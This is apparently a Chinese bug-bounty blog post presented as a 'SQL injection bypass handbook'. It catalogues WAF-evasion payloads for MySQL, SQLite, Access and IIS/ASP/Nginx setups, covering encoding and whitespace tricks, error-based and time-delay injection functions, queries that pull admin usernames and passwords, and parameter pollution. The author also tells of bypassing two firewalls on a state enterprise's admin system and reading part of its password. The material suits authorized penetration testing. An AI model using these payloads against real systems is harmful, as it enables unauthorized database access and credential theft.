LOADING

加载过慢请开启缓存 浏览器默认开启

SQL注入绕过之葵花宝典

2025/8/1 sqli book
  • 最后一次更新:2025.8.1 - 文章持续更新ing

基础#

  1. 逻辑符
and (&&)
or(||)
xor(^) # 有些数据库不支持异或运算
  • 除外还有一些在实战过程中不常用的:
not(!)
~	# 位取反
<<	# 位左移
>>	# 位右移
  1. 运算符(加减乘除)

不要小看运算符,它能帮助你快速验证SQL注入是否存在
假设有参数id=1
id=2-1(True)与id=1-1000(False)(减号ban率低于除号)
id=2/1(True)与id=1/0(False)(这个False会产生除0报错,如果报错抛出则存在SQL报错注入)
同样的:如果id=2-1与id=3-2页面一致,存在SQL注入
当然你也可以拿它来判断闭合方式(不举例了/躺)
Z0Scan就用的这个检测方式~

  1. 注释符
# (MySQL特有,URL中需编码为%23)
-- (注意后面需跟空格或换行)
/* */ (多行注释,可嵌套)
;%00 (空字符截断,部分环境有效)

通用绕过方法:#

  1. 强制URL编码
原:id=1000-ascii(1)
后:id=%31%30%30%30%2d%61%73%63%69%69%28%31%29
  1. 特殊编码&特殊语法替换空格
字符含义说明
%09TAB键(水平)水平制表符
%0a新建一行换行符(LF, Line Feed)
%0bTAB键(垂直)垂直制表符
%0c新的一页换页符(FF, Form Feed)
%0d回车键回车符(CR, Carriage Return)
%a0空格非断空格(Non-breaking Space)
%00终止符NULL 字符(字符串结束符)
/**/注释符多行注释
/*!*/注释符 + 检测版本的语法MySQL 特有,用于条件执行(如 /*!50001 SELECT */

特别注意:

%00会截断语句,有时候不可直接作为空格的替换字符,如果直接使用会造成sql语句报错

MySQL中有个特性,一般情况下/!/是用于检测mysql版本,也就是感叹号后面要加数据库版本号

如果高于这个版本,就执行后面的语句,如下面的语句表示数据库版本高5.00.09才会执行:

/*!50009 select * from test*/

另外通常感叹号后面加的是数字,如果是其他字符将会报错。但有例外,如果加的是SQL关键字比如union、select、where等,那么也能正常执行

  • 各种数据库中的空白字符:
数据库空白字符(十六进制表示)
SQLite30A, 0D, 0C, 09, 20
MySQL509, 0A, 0B, 0C, 0D, A0, 20
PostgreSQL0A, 0D, 0C, 09, 20
Oracle 11g00, 0A, 0D, 0C, 09, 20
MSSQL01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20
  1. 使用括号替代空格(要求:包裹函数、包裹一段运算或子查询)
原:id=1000 and '123' like user()
后:id=1000 and '123' like(user())
  1. 引号替代空格
原:id=1000 and '123' like '123'
后:id=1000 and'123'like'123'
  1. 双引号替代单引号
原:id=1000 and '123' like '123'
后:id=1000 and "123" like "123"
  1. 大小写混合
原:id=1000 and 1 like 1
后:id=1000 aNd 1 lIkE 1

MySQL#

MySQL这个数据库只能说太好绕了,单是函数平替&语句变换就已经足以绕过绝大多数WAF了

  1. 函数平替绕过
# 字符串长度
length() → char_length()、bit_length()/8
# 字符串截取
substr() → substring()、mid()、left()、trim()、right()、rlike、regexp
# 字符转换
ascii() → ord()、hex()、bin()
# 连接字符串
concat() → concat_ws(',',a,b)、group_concat()(多行合并时)
# 数据库信息
database() → schema()、@@database
# 版本信息
version() → @@version、@@global.version
datadir() → @@datadir
# 字符串替换
replace() → insert(str,pos,len,newstr)
# 延时
sleep() → benchmark()
# 相等
= → like(rlike、regexp)、strcmp()
# 比较
>、< → greatest()(返回最大值)、least()(返回最小值)、 a between 1 and 50 (50>a>=1)、in()
  1. 注释符变种绕过
原:id=1 and 1=1 -- +
后:id=1 and 1=1 #
    id=1 and 1=1 /*!*/
    id=1 and 1=1 -- -
    id=1 and 1=1 /**/-- 
  1. 关键字绕过(利用MySQL特性)
# 空格+关键字+空格 被拦截时
原:select user()
后:sel/**/ect user()
    `select` user() (反引号包裹)
  1. 报错注入函数合集
函数名示例用法适用版本范围
geometrycollection()geometrycollection((select from(select from(select user())a)b));5.1 ≤ version ≤ 5.5.48
multipoint()multipoint((select * from(select user())b));5.1 ≤ version ≤ 5.5.48
polygon()select polygon((select from(select from(select user())a)b));5.1 ≤ version ≤ 5.5.48
multipolygon()multipolygon((select from(select from(select user())a)b));5.1 ≤ version ≤ 5.5.48
linestring()linestring((select from(select from(select user())a)b));5.1 ≤ version ≤ 5.5.48
multilinestring()multilinestring((select from(select from(select user())a)b));5.1 ≤ version ≤ 5.5.48
exp()exp(~(select * from(select user())a));5.1 ≤ version ≤ 5.5.48
ST_LatFromGeoHash()select ST_LatFromGeoHash(user());version ≥ 5.7
ST_LongFromGeoHash()select ST_LongFromGeoHash(user());version ≥ 5.7
GTID_SUBSET()select GTID_SUBSET(user(),1);version ≥ 5.7
GTID_SUBTRACT()select GTID_SUBTRACT(user(),1);version ≥ 5.7
ST_PointFromGeoHash()select ST_PointFromGeoHash(user(),1);version ≥ 5.7
procedure analyse()procedure analyse(extractvalue(1,concat(0x3a,user())),1);version ≤ 5.6.17
  1. char()

这个函数挺有意思的,你可以看情况把它穿插在语句中~

  1. 特殊延时
  • benchmark()

这个就不展开细说了

  • 笛卡尔积延时

当查询发生在多个表中时,会将多个表已笛卡尔积的形式联合起来,在进行查询,非常费时;

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C;

我当时就是借助笛卡尔积延时配合括号替代空格大法过双WAF通杀了某国企后台管理系统(可惜手贱交成事件了,发现是通杀的时候案例不够了/破防)

CNVD评级才中,后面不服,利用反引号特性把后台密码读了一点出来才给高…

  • 正则dos延时

通过费时正则匹配操作消耗时间

select concat(rpad('a',3999999,'a'),rpad('a',3999999,'a')) RLIKE concat(repeat('(a.*)+',30),'b');
  1. 使用16进制绕过引号
原:select column_name  from information_schema.tables where table_name="users"
后:select column_name  from information_schema.tables where table_name=0x7573657273
  1. 逗号绕过
  • 使用from关键字绕过
    在substr()和mid()这两个函数中可以使用from to绕过对逗号的过滤:
原:select substr(database() from 1 for 1);
后:select mid(database() from 1 for 1);
  • 使用join关键字绕过
原:union select 1,2
后:union select * from (select 1)a join (select 2)b
  • 使用like关键字绕过
原:select ascii(mid(user(),1,1))=80   #等价于
后:select user() like 'r%'
  • 使用offset关键字绕过

对于limit可以使用offset绕过

原:select * from news limit 0,1
后:select * from news limit 1 offset 0

SQLite#

  1. 函数特性绕过
# SQLite无concat(),用||连接字符串
原:concat('user=',user())
后:'user='||user()

# 无ascii(),用unicode()替代
原:ascii(substr(user(),1,1))
后:unicode(substr(sqlite_version(),1,1))
  1. 关键字绕过
# select被拦截时
原:select name from sqlite_master
后:SELect name from sqlite_master (大小写混合)
    select/**/name from sqlite_master (注释插空格)
    [select] name from sqlite_master (方括号包裹,部分版本支持)
  1. 运算绕过(SQLite支持数学函数)
# 当+被拦截时,用add()函数
原:id=1+1
后:id=add(1,1)

# 乘法*被拦截时,用mul()
原:id=2*3
后:id=mul(2,3)
  1. 时间盲注

好像没什么大师傅知道SQLite能时间盲注的?
既然Edusrc允许时间盲注证明而且函数比较特殊,那就当绕过方式提一下

randomblob(N) # 返回一个N字节长的包含伪随机字节的BLOG,可以用它制造延时

Access#

这个数据库的绕过方式比较少,但因为函数名称特殊,依赖于正则规则的WAF通常不拦截它们。

分为一种无select注入与两种select注入形式

  1. 无select注入
-asc(mid((dfirst("[username]","[Admin]")),6,1))
-asc(mid((dlast("[password]","[User]")),1,1)) (dlast与dfirst类似)
  1. 联合注入
# 联合查询基础格式
union select 1,username,password,4 from Admin-- 
# 字段数判断(用null填充)
union select null,null,null from Admin-- 
  1. exists
and exists(select admin from admin)

特定环境绕过#

  1. IIS服务器支持对于unicode的解析
原:id=1000-asc(1)
后:id=1000-a%u0073c(1) # s的unicode编码为\u0073(需要将\换为%后传入服务器解析)
  1. ASP+IIS环境特性
  • 特性1(_特殊符号%的处理_)
原:id=1000-asc(1)
后:id=1000-a%sc(1)
  • 特性2(_注释绕过_)
原:id=1000
后:a=/*&id=1000-asc(1)&b=*/ (服务器拼接参数后形成/*1000-asc(1)*/)
  1. Nginx+PHP环境特性
# 当空格被拦截时,用%09(制表符)替代
原:id=1 and 1=1
后:id=1%09and%091=1
  1. URL编码绕过(部分服务器会二次解码)
# 双重URL编码
原:id=1 and 1=1
第一次编码:id=1%20and%201=1
第二次编码:id=1%2520and%25201%253D1
  1. HTTP参数污染(部分服务器会拼接参数值)
原:id=1000 and 1=1
后:id=1000&id=and&id=1=1
  1. 使用双关键字绕过(若删除掉第一个匹配的union就能绕过)
id=-1' UNION SELECT 1,2,3
id=-1' UNIunionON SeLselectECT 1,2,3

写在最后,SQL注入绕过其实并不难,我是凭借SQL注入水了100多Rank

希望各位大师傅熟悉绕过后悠着点,别抢我饭碗/跪

也希望各位大师傅多多推下我的项目吖~

Z0Scan: Security tools for web vulnerability detection and red teaming.